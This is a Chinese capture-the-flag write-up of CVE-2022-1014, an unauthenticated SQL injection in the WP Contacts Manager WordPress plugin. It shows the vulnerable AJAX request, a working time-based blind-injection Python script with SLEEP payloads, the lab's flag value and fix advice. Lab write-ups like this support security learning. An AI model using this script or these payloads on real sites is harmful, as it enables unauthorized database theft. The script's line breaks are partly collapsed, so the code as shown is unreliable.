当前位置: 首页 > news >正文

春秋云镜靶场漏洞复现:CVE-2022-1014 WP Contacts Manager 未认证 SQL 注入

环境:春秋云境“免费空间”授权实验靶场。历史实例已关闭。

1. 基本信息

项目 内容
CVE CVE-2022-1014
产品 WP Contacts Manager 2.2.4
入口 WP_Contacts_Manager_call&type=get-contact
条件 未认证
漏洞类型 SQL 注入
Flag flag{2507d7f5-f593-4251-acb4-c45fdd3ea3ac}

2. 原理与复现

插件 AJAX 动作未认证且把请求参数拼入查询。授权请求示意:

GET /wp-admin/admin-ajax.php?action=WP_Contacts_Manager_call&type=get-contact&<参数>=<sqli> HTTP/1.1
Host: <WordPress-靶场域名>

先用真假条件确认响应差异,再使用 UNION/盲注读取 flag 表。根据实际列数调整 payload,最终得到:

flag{2507d7f5-f593-4251-acb4-c45fdd3ea3ac}

Python 盲注脚本

下面脚本以时间差作为真假 oracle,FIELD 改成页面实际进入 SQL 的参数名;若本题使用 UNION 直接回显,可跳过脚本。运行前先用已知真/假条件校准 DELAYTHRESHOLD,仅对授权靶场使用。

import string
import time
import requestsURL = "https://<authorized-target>/wp-admin/admin-ajax.php"
FIELD = "<injected-parameter>"
SOURCE = "(SELECT flag FROM flag LIMIT 1)"
DELAY = 3.0
THRESHOLD = 2.0
ALPHABET = string.ascii_letters + string.digits + "{}_-."session = requests.Session()def probe(position, character):condition = (f"ASCII(SUBSTRING({SOURCE},{position},1))={ord(character)}")payload = f"' AND IF({condition},SLEEP({DELAY}),0)-- -"started = time.monotonic()session.get(URL,params={"action": "WP_Contacts_Manager_call","type": "get-contact",FIELD: payload,},timeout=DELAY + 5,)return time.monotonic() - started >= THRESHOLDflag = ""
for position in range(1, 81):for character in ALPHABET:if probe(position, character):flag += characterprint(f"{position:02d}: {flag}", flush=True)breakelse:breakif flag.endswith("}"):breakprint("recovered:", flag)

3. 修复建议与验证

为 AJAX 动作增加认证和能力校验,使用预编译 SQL、严格输入校验和最小数据库权限。Flag 与平台记录一致,已提交并关闭靶场。原始参数和列数未保存,截图已保存到 images/ 并由平台详情页复核。

截图证据

题目详情与已攻克状态

题目状态与 Flag 验证区域

http://www.jsqmd.com/news/1400977/

相关文章:

  • 第5章,[Win32 章节] :边框绘制函数(四)
  • HTX火币钱包官方网站代码全流程
  • 还在为Wand专业版续费?试试这款开源增强器,解锁Pro还送手机遥控
  • 构建可控AI Agent:从ReAct架构到安全实践
  • 小帅VXhook框架
  • Hydro SPJ 配置:告别答案唯一!
  • 春秋云镜靶场漏洞复现:CVE-2022-0948 Order Listener for WooCommerce REST SQL 注入
  • DBeaver数据库管理工具:一站式跨数据库连接与SQL编辑实战指南
  • 朝闻通品牌传播有哪些优势?全域媒体资源与全链条服务详解
  • 从Kimi暂停订阅看AI大模型推理的算力瓶颈与优化策略
  • 液压夹具工业应用,成型机床精准夹紧固定设备解析 - 优企甄选
  • 从“十佳班级”到“最好的我们”:班级建设的系统化实践与深度复盘
  • HoRain云--Codex CLI 配置
  • AI研发框架重构Git工作流:提升67%代码审查效率
  • FDE系列11:差异分析——产品与客户需求之间的鸿沟怎么填?
  • Seedance2.5 正式上线】
  • 换模台车,注塑压铸车间模具快速转运高效设备 - 优企甄选
  • AI图像生成实战:从提示词工程到环境配置,探索可灵AI创作神秘之地
  • Web安全渗透测试入门:从环境搭建到SQL注入实战的完整学习路径
  • 磁力换模系统优势,注塑压铸车间高效换模改造方案 - 优企甄选
  • 致癌、致畸、不孕不育……实验室有毒试剂清单!!
  • 春秋云镜靶场漏洞复现:CVE-2022-0848 Part-DB 标签生成器 `.pht` 上传执行
  • 二建注册流程
  • 安卓文件同步新手指南:Syncthing for Android 的免云端直连方案
  • 店雷达推荐码优惠折扣码是什么?电商选品工具就用店雷达! - 跨境电商卖家出海
  • iOS设备机型对照表:开发、测试与交易必备的硬件识别指南
  • Zabbix Web监控实战:从服务器监控到业务感知的跨越
  • 智驾车载以太网(9)-davinci之phy
  • Spring Boot邮件发送全攻略:从配置到生产级实践
  • nvm实战指南:多版本Node.js环境管理与项目隔离